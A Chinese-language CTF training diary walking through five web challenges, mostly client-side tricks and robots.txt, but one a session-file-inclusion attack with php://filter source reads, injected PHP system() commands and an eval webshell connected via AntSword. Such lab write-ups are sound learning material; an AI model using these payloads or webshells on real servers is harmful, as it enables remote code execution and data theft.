目錄
十六.簽到題
十七.簽到
十八.session文件包含
PHP 偽協議(PHP Stream Wrappers)
base64加解密獲取源代碼
Session文件包含
Shell 是什么?
十九.Don't touch me
二十.robots
robots.txt?
十六.簽到題
把didi=no改成didi=yes?
得到一串字符串
Li9kYXRhL2luZGV4LnBocA
base64在線解碼網站解碼得到./data/index.php
訪問/data/index.php得到
?/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag
base64解碼
flag{92eb5ffee6ae2fec3ad71c777531578f}
十七.簽到
發現有個按鈕按不了
F12(右鍵點擊檢查),把disabled="disabled" 刪除,回車
隨便提交個東西試試
這時候彈出一個彈窗告訴我們提交?ilovejljcxy 就能得到flag了
但是提交的時候發現只能輸入就個字母
查看源代碼
?長度限制:maxlength="9"
?對用戶的輸入進行了限制,用戶最多只能輸入 9 個字符
把9改成11以上就行
輸入后再次提交,彈出flag
flag{fa3f77dd58a0a8f990bb6292da75618f}
十八.session文件包含
我覺得這題老難了?
先隨便輸入一個1,然后submit看看
先看知識點
PHP 偽協議(PHP Stream Wrappers)
是 PHP 提供的一組特殊協議前綴,允許通過類似 URL 的方式訪問和操作不同類型的資源(如文件、數據流、網絡等)。它們無需額外安裝,直接內置于 PHP 中,常用于簡化對非傳統文件系統的操作。
示例:使用?
php://filter
?讀取文件并編碼假設我們有一個文件?
secrets.txt
,內容如下:# secrets.txt 數據庫密碼:123456 API 密鑰:abcdefghijklmnopqrstuvwxyz
需求:讀取該文件內容,并以 Base64 編碼形式輸出。
方法 1:傳統方式(需手動編碼)
<?php // 讀取文件內容 $content = file_get_contents('secrets.txt'); // 手動 Base64 編碼 $encoded = base64_encode($content); echo $encoded; ?>
方法 2:使用偽協議(自動編碼)
<?php // 使用 php://filter 偽協議直接獲取編碼后的內容 $encoded = file_get_contents('php://filter/convert.base64-encode/resource=secrets.txt'); echo $encoded; ?>
解碼驗證:
將上述 Base64 字符串復制到?Base64 解碼器,得到原始內容:
# secrets.txt數據庫密碼:123456 API 密鑰:abcdefghijklmnopqrstuvwxyz
為什么要用base64加密再解密嘞?
看下面知識點:
base64加解密獲取源代碼
php://filter/convert.base64-encode/resource=目標文件路徑
在利用 PHP 偽協議讀取文件時,使用 Base64 編碼而非直接讀取的主要原因是繞過 PHP 解釋器對代碼的執行,并確保文件內容完整傳輸。以下是詳細示例:
1. 直接讀取的問題:PHP 會執行代碼
假設?
action.php
?包含以下內容:<?php // action.php echo "Hello from PHP!"; $password = "secret123"; ?>
如果直接通過文件包含漏洞讀取(例如?
?file=action.php
),PHP 解釋器會執行代碼而非返回源碼:
- 輸出結果:
Hello from PHP!
- 源碼丟失:
$password = "secret123";
?等代碼不會顯示,攻擊者無法獲取敏感信息。2. Base64 編碼的作用:獲取完整源碼
使用?
php://filter/convert.base64-encode
?后:
- 輸出結果:
PD9waHANCg8Ly8gYWN0aW9uLnBocA0KZWNobyAiSGVsbG8gZnJvbSBIUEgiOw0KJHBhc3N3b3JkID0gInNlY3JldDEyMyI7DQo/Pg==
- 解碼后:
<?php // action.php echo "Hello from PHP!"; $password = "secret123"; ?>
核心原理:
Base64 編碼將 PHP 代碼(如?<?php ... ?>
)轉換為純文本字符串,PHP 解釋器會將其視為普通文本而非可執行代碼,從而完整保留源碼內容。
?所以我們用php偽協議查看action.php的源代碼
訪問??/action.php?file=php://filter/convert.base64-encode/resource=action.php
得到源碼
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCiRuYW1lID0gJF9QT1NUWyduYW1lJ107DQppZigkbmFtZSl7DQoJJF9TRVNTSU9OWyJ1c2VybmFtZSJdID0gJG5hbWU7DQp9DQppbmNsdWRlKCRfR0VUWydmaWxlJ10pOw0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWw+DQo8aGVhZD4NCjwvaGVhZD4NCjxib2R5Pg0KPGEgaHJlZj1hY3Rpb24ucGhwP2ZpbGU9MS50eHQ+bXkgZGFpcnk8L2E+DQo8YSBocmVmPWFjdGlvbi5waHA/ZmlsZT0yLnR4dD5teSBib29rbGlzdDwvYT4NCjwvYm9keT4NCjwvaHRtbD4=
Base64 編碼/解碼 - 錘子在線工具解碼查看源代碼
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
開始分析源代碼
這段 PHP 代碼實現了一個簡單的會話管理和文件包含功能。當用戶通過 POST 方法提交表單時,腳本會將用戶名存入會話變量$_SESSION["username"]
中。頁面提供了兩個鏈接,分別指向1.txt
和2.txt
文件,用戶點擊后,腳本會通過include
語句動態加載并執行 URL 參數file
指定的文件內容。然而,該代碼存在嚴重的安全隱患,因未過濾file
參數存在目錄遍歷 / 遠程文件包含漏洞,且未處理name
參數導致 PHP 代碼注入攻擊。
知識點
Session文件包含
是一種常見的安全漏洞,它允許攻擊者通過包含惡意代碼的Session文件來執行代碼。
利用Session文件包含的條件
要利用Session文件包含漏洞,需要滿足兩個條件:
Session文件的內容可控,即攻擊者可以通過某種方式將惡意代碼寫入Session文件中。
能夠獲取Session文件的路徑,這樣才能通過文件包含函數來執行Session文件中的代碼。
條件1可以通過name實現,條件2這題只能靠猜
在默認配置下,PHP 的 session 文件存儲位置通常存放在?/tmp
?目錄,文件名格式為?sess_<sessionid>
?<sessionid>可以在cookie里看
因此直接訪問
/action.php/?file=/tmp/sess_khhpgb61isvcak15o84n6e8sl7
哎哎,有反應,進入session文件了
接下來有2個方法拿到flag
?方法一:PHP 代碼注入攻擊
用post請求發送? ?name=<?php system('ls');?>? (沒反應的話多點幾次Execute刷新一下)
沒看到flag文件,加個/進入根目錄查看
/
:根目錄,表示整個文件系統的頂層。
name=<?php system('ls /');?>
這時看到了flaggggg文件,查看該文件
name=<?php system('sort /flaggggg ');?>
name=<?php system('cat /flaggggg ');?>
name=<?php system('tac /flaggggg ');?>
?參數解析:
1.?
sort
?命令的作用
sort
?是 Linux/Unix 系統中的命令,用于對文本內容進行排序并輸出結果。常見用法:
- 對文件內容按行排序:
sort filename
- 去重并排序:
sort -u filename
- 逆序排序:
sort -r filename
2./flaggggg
?指根目錄下名為?flaggggg
?的文件。
這時就有個問題了:為什么要進入session文件后再用PHP 代碼注入攻擊
要理解為什么需要進入 session 文件后才能使用
name=<?php system('ls /');?>
,需要結合session 文件的特性和文件包含漏洞的利用邏輯,具體原因如下:1.?
name=<?php ... ?>
?是向 session 文件寫入代碼的操作
name=<?php system('ls /');?>
?本質是通過 HTTP 請求(通常是 POST/GET)向服務器的session 文件中寫入一段 PHP 代碼(這里是執行系統命令的system('ls /')
)。
- 當用戶在頁面輸入
name
參數并提交時,服務器會將該參數的值存儲到當前用戶的 session 文件中(session 文件的命名規則為sess_+sessionid
,如sess_khhpgb61isvcak15o84n6e8sl7
)。- 這段代碼本身不會直接執行,而是作為字符串被暫時存儲在 session 文件中。
2. session 文件是代碼執行的 "載體"
要讓
<?php system('ls /');?>
這段代碼生效(即執行ls /
命令),需要通過文件包含漏洞讓服務器解析并執行 session 文件中的內容。
- 漏洞場景中,服務器存在
?file=xxx
形式的文件包含漏洞(如[web]session文件包含
考點),即通過file
參數可以讓服務器讀取并解析指定文件中的 PHP 代碼。- 但服務器不會主動解析任意文件,只有當通過
?file=session文件路徑
(如?file=/tmp/sess_iicon09s8aj9rhenj3rn6lhqj2
)指定包含 session 文件時,服務器才會讀取該文件內容,并將其中的 PHP 代碼(即之前寫入的system('ls /')
)當作腳本執行。3. 不進入 session 文件則無法觸發代碼執行
如果不通過文件包含漏洞 "進入"(即包含)session 文件,那么:
- 寫入的
<?php system('ls /');?>
只是 session 文件中存儲的一段普通字符串,不會被服務器解析為 PHP 代碼,自然無法執行命令。- 只有當利用文件包含漏洞指定加載該 session 文件(即
?file=session文件路徑
),服務器才會將文件內容作為 PHP 腳本處理,此時其中的system('ls /')
才會被執行。總結
name=<?php system('ls /');?>
的作用是向 session 文件寫入可執行的 PHP 代碼,而必須 "進入"(包含)session 文件,才能讓服務器解析這段代碼并執行命令。二者結合利用了session 的存儲機制和文件包含漏洞的解析特性,最終實現命令執行。
方法二 :傳木馬連蟻劍
關于session文件包含,指的是有時Web系統會把我們的一些變量寫入session文件,我們可以借此機制將PHP木馬寫入PHP文件中,然后使用文件包含來包含該session文件,以此獲取目標系統的shell權限。
這種攻擊方式的好處在于,可以利用保存在session中的數據;這種攻擊方式的前提在于我們可以準確的找到session文件的存儲目錄。
發送POST請求(多點幾次Execute刷新一下)
name=<?php @eval($_POST['a']);?>?
蟻劍連接shell?
知識點
Shell 是什么?
Shell?是一種允許用戶與操作系統交互的程序,也指攻擊者通過漏洞獲得的遠程執行權限。在滲透測試中,通常分為兩種:
WebShell:
攻擊者上傳到目標服務器的腳本文件(如 PHP、ASPX、JSP),通過 HTTP 請求執行系統命令。
示例(PHP WebShell):?<?php system($_GET['cmd']); ?> // 接收URL參數cmd并執行系統命令
訪問方式:
http://target.com/shell.php?cmd=ls
反彈 Shell:
目標服務器主動連接攻擊者的主機,建立交互式命令行會話(如 Linux 的?bash
、Windows 的?cmd
)。
連接成功,尋找flag
?
flag{43306e8113f53ece238c0a124432ce19}
十九.Don't touch me
這題也很簡單
方法一:
F12(右鍵查看源碼)可以看到:
訪問/2.php
可以看到這有個按鈕,卻點不了
F12(右鍵檢查),把disabled="disabled"都刪了,回車,點擊按鈕
可以看到最后有fla.php,訪問/fla.php,得到flag
方法二:
直接用目錄掃描工具掃出來
flag{0cee5a97f12b172ceeea2e9f67b7413e}
二十.robots
這題非常簡單?
robots.txt
?是一個位于網站根目錄下的純文本文件,用于告訴搜索引擎爬蟲(如 Googlebot、百度蜘蛛等)哪些頁面可以抓取,哪些頁面不應該抓取,是網站與搜索引擎之間的 “協議”。
直接訪問/robots.txt就行
發現有個文件/fl0g.php,訪問得到flag
flag{2f37589152daf6f111b232ef4aea1304}
?Day6:
今天練了一個靶機,對于我這個新手小白來說還是挺難的,看講解視頻都看了老半天
累了......還有一題明天再寫